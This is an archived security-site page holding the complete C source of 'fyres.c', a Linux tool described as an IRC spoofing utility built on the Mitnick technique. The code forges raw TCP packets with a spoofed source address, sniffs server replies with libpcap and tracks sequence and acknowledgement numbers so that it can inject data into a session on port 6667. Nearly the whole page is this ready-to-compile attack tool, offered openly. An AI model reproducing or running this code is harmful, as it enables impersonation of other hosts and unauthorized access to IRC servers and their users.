what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

fyres.c

fyres.c
Posted Dec 17, 2000
Authored by truff | Site asmbeginer.com

Fyres.c is a spoofing utility for IRC for Linux. Uses the technique popularized by Kevin Mitnick. Commented in French. Uses Libpcap.

tags | spoof
systems | linux
SHA-256 | ac3eb7401f1641fe67d346fe23822fbf6df18d8fba4832751176794727c927f5

fyres.c

Change Mirror Download
/*
by truff (Fyres team)
and www.asmbeginer.com
for linux!
cc -o fyres fyres.c -lpcap

*/

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <fcntl.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <signal.h>
#include <pcap.h>
#include "fyrespoof.h"




u_long acknbr = 0x53;
u_long seqnbr = 0xa1d95;
u_long src_ip, dst_ip;
u_short src_prt, dst_prt;
u_short connexion = 1;
int sd, fd[2];




int main (int argc, char *argv[])
{

int network, c;
int i=1;

char *cp;
char data[1024];
int data_size;
pid_t pid_fils = 0;


char errbuf[PCAP_ERRBUF_SIZE];
char *device;
pcap_t *capture;




src_ip = 0;
dst_ip = 0;
src_prt = 0;
dst_prt = 0;


/*
* Separation des parametres d'entree
*/

if (argc<2)
{
usage(argv[0]);
exit(ERROR);
}

src_ip = inet_addr(argv[1]);
src_prt = SOURCE_PORT;
dst_ip = inet_addr(argv[2]);
dst_prt = DESTINATION_PORT;





/*
* Creaion d'un pseudo pipe
*/

fd[0] = open("seqfile", O_RDWR | O_CREAT);
fd[1] = open("ackfile", O_RDWR | O_CREAT);


/*
* Initialisation du socket
*/

network = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(network==-1) {
perror("Ouverture du socket impossible ");
exit(1);
}
sd = network;

/*
* On precise qu'on va remplir les headers IP
*/

if ((setsockopt (network, IPPROTO_IP, IP_HDRINCL, (char *) &i, sizeof
(i))) == ERROR)
{
perror ("setsockopt");
exit (ERROR);
}



/*
* Initialisation de pcap (capture de packets)
*/

device = pcap_lookupdev(errbuf);
if(device == NULL) printf("Erreur pcap: %s", errbuf);

capture = pcap_open_live(device, 10000, 1, 10000, errbuf);
if(capture == NULL) printf("Erreur pcap: %s", errbuf);


/*
* On se connecte
*/

TcpConnect(src_ip,
dst_ip,
src_prt,
dst_prt,
network,
capture);

/*
* On cree le processus por recevoir
*/

signal (SIGQUIT, PcapQuit);
if (!(pid_fils = fork ()))
{
pcap_loop(capture, 0, (pcap_handler)AffichePkt,
NULL);
}



/*
* Boucle qui gere l'envoie de donnees
*/


while((strncmp(data, "QUIT\r\n", 6)) != 0)
{

fgets(data, 1024, stdin);
data_size = strlen(data);
data[data_size-1] = '\r';
data[data_size] = '\n';

lseek(fd[1], 0, SEEK_SET);
read(fd[1], (char*)&acknbr, 4);

SendTcpPacket(network,
src_ip,
dst_ip,
src_prt,
dst_prt,
seqnbr,
acknbr,
0,0,0,1,1,0,
1024,
data,
data_size+1);

seqnbr = seqnbr + data_size + 1;


lseek(fd[0], 0, SEEK_SET);
write(fd[0], (char*)&seqnbr, 4);

}



/*
* Fermeture du socket
*/

signal(SIGQUIT, PcapQuit);
pcap_close(capture);
close(network);
return 0;

}




/*********************************************************/
/* usage: fonction d'aide poue l'utilisateur */
/*********************************************************/

void usage(char *name)
{
fprintf(stderr, "usage: %s src_ip dst_ip\n", name);
exit(1);
}




/**********************************************************/
/* AffichPkt: fonction callback */
/* qui traite les packets recus selon leur */
/* contenu */
/**********************************************************/

pcap_handler AffichePkt(unsigned char *dummy, const struct pcap_pkthdr
*header, const unsigned char *pkt)
{

int i;
u_long seq=0;
bpf_u_int32 longueur;
u_long src_ip1;
u_short dst_prt1;
u_char flags1;
u_char buffer[1024];

memcpy(&src_ip1, pkt+26, 4); /* pkt+24 adresse ip source */

memcpy(&dst_prt1, pkt+36, 2); /* pkt+36 adresse port
destination */
memcpy(&flags1, pkt+47, 1); /* pkt+47 adresse des flags */


if((src_ip1 == dst_ip) && (dst_prt1 == htons(src_prt)))
{

longueur = header->len;
/*printf("long: %d\n", longueur);*/

if((flags1 == 0x18)&&(!connexion))
{

acknbr = acknbr +
(longueur - 54);
memcpy(buffer, pkt+55,
longueur-54);
buffer[longueur+1-54] =
'\0';
printf("%s", buffer);

lseek(fd[0], 0, SEEK_SET);
read(fd[0],
(char*)&seqnbr, 4);

lseek(fd[1], 0,
SEEK_SET);
write(fd[1],
(char*)&acknbr, 4);

SendTcpPacket(sd,
src_ip,
dst_ip,
src_prt,
dst_prt,
seqnbr,
acknbr,
0,0,0,0,1,0,
1024,
NULL,
0);
}

if(connexion)
{
memcpy(&seq, pkt+38,
4); /* pkt+38 adresse du seq */
acknbr = htonl(seq);
}

}

}




/**********************************************************/
/* TcpConnect: Creation d'un connexion TCP en raw */
/**********************************************************/

void TcpConnect(u_long _src_ip, u_long _dst_ip, u_short _src_prt,
u_short _dst_prt, int _network, pcap_t *_capture)
{

/*
* Envoie du Syn
*/

SendTcpPacket( _network,
_src_ip,
_dst_ip,
_src_prt,
_dst_prt,
seqnbr,
acknbr,
0,1,0,0,0,0,
1024,
NULL,
0);


/*
* Reception du Ack
*/
sleep(2);
pcap_dispatch(_capture, 1, (pcap_handler)AffichePkt, NULL);
pcap_dispatch(_capture, 1, (pcap_handler)AffichePkt, NULL);

seqnbr++; /* incrementation du numero de sequence */
acknbr++; /* incrementation du numero d'acquittement */

lseek(fd[1], 0, SEEK_SET);
write(fd[1], (char*)&acknbr, 4);
lseek(fd[0], 0, SEEK_SET);
write(fd[0], (char*)&seqnbr, 4);


/*
* On acknoledge le serveur
*/
printf("ack: %lx\n", acknbr);

SendTcpPacket( _network,
_src_ip,
_dst_ip,
_src_prt,
_dst_prt,
seqnbr,
acknbr,
0,0,0,0,1,0,
1024,
NULL,
0);

connexion = 0;
printf("Connection etablie....\r\nVeuillez vous
authentifier\r\n");


}





/**********************************************************/
/* SendTcpPacket: envoie d'un packet TCP */
/**********************************************************/

void SendTcpPacket (int s, unsigned long s_ip, unsigned long d_ip,
unsigned short s_port, unsigned short d_port, unsigned long seq_num,
unsigned long ack_num, short _fin, short _syn, short _rst, short _psh,
short _ack, short _urg, unsigned short winsize, unsigned char *data,
unsigned short data_size)
{
struct sockaddr_in sin_dst;
struct iphdr *ip;
struct tcphdr *tcp;
struct pseudohdr *pseudo;
unsigned char *DATA;
unsigned char packet[2048];
size_t packet_size;

packet_size = TCPHDRSIZE + IPHDRSIZE + data_size;


ip = (struct iphdr *) packet;
pseudo = (struct pseudohdr *) (packet + IPHDRSIZE - PSEUDOHDRSIZE);
tcp = (struct tcphdr *) (packet + IPHDRSIZE);
DATA = (unsigned char *) (packet + IPHDRSIZE + TCPHDRSIZE);

bzero (packet, sizeof (packet));
if (data != NULL) memcpy (DATA, data, data_size);

pseudo->saddr = s_ip;
pseudo->daddr = d_ip;
pseudo->useless = 0;
pseudo->protocol = 6;
pseudo->leng = htons (TCPHDRSIZE + data_size);

tcp->source = htons (s_port);
tcp->seq = htonl (seq_num);
tcp->ack_seq = htonl (ack_num);
tcp->doff = 5;
tcp->fin=_fin;
tcp->syn=_syn;
tcp->rst=_rst;
tcp->psh=_psh;
tcp->ack=_ack;
tcp->urg=_urg;
tcp->window = htons (winsize);
tcp->urg_ptr = 0;
tcp->dest = htons (d_port);
tcp->check = 0;
tcp->check = in_cksum ((u_short *)pseudo, TCPHDRSIZE + PSEUDOHDRSIZE +
data_size);



ip->saddr = s_ip;
ip->daddr = d_ip;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->protocol = 6;
ip->tot_len = htons (packet_size);
ip->tos = 0;
ip->id = htons(242);
ip->frag_off = 0;
ip->check = 0;
ip->check = in_cksum ((u_short *)packet, IPHDRSIZE);

sin_dst.sin_addr.s_addr = ip->daddr;
sin_dst.sin_family = AF_INET;

if ((sendto (s, packet, packet_size, 0,
(struct sockaddr *) &sin_dst, sizeof (struct sockaddr))) ==
ERROR)
{
perror ("sendto");
exit (ERROR);
}
}





/**********************************************************/
/* in_cksum: calcul des checksum des entetes */
/**********************************************************/

unsigned short in_cksum (u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}


if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}


sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}




/**********************************************************/
/* PcapQuit: on quit le processus de reception */
/**********************************************************/

static void PcapQuit(int sig)
{
exit(1);
}






/*********************************************/
/* */
/* FyreSpoof.h */
/* Prototypes and defines for FyreSpoof.c */
/* */
/* By TruFF (09/00) */
/* Fyres Team */
/* */
/*********************************************/




#define ERROR -1
#define IPHDRSIZE sizeof(struct iphdr )
#define TCPHDRSIZE sizeof(struct tcphdr )
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)
#define SOURCE_PORT 1500
#define DESTINATION_PORT 6667


void
usage(char *);

void
SendTcpPacket (int,
unsigned long,
unsigned long,
unsigned short,
unsigned short,
unsigned long,
unsigned long,
short,
short,
short,
short,
short,
short,
unsigned short,
unsigned char *,
unsigned short);

unsigned short
in_cksum (u_short *, int);

pcap_handler
AffichePkt(unsigned char *,
const struct pcap_pkthdr *,
const unsigned char *);

void
TcpConnect(u_long,
u_long,
u_short,
u_short,
int,
pcap_t *);


static void
PcapQuit(int);


struct pseudohdr
{
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short leng;
};



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close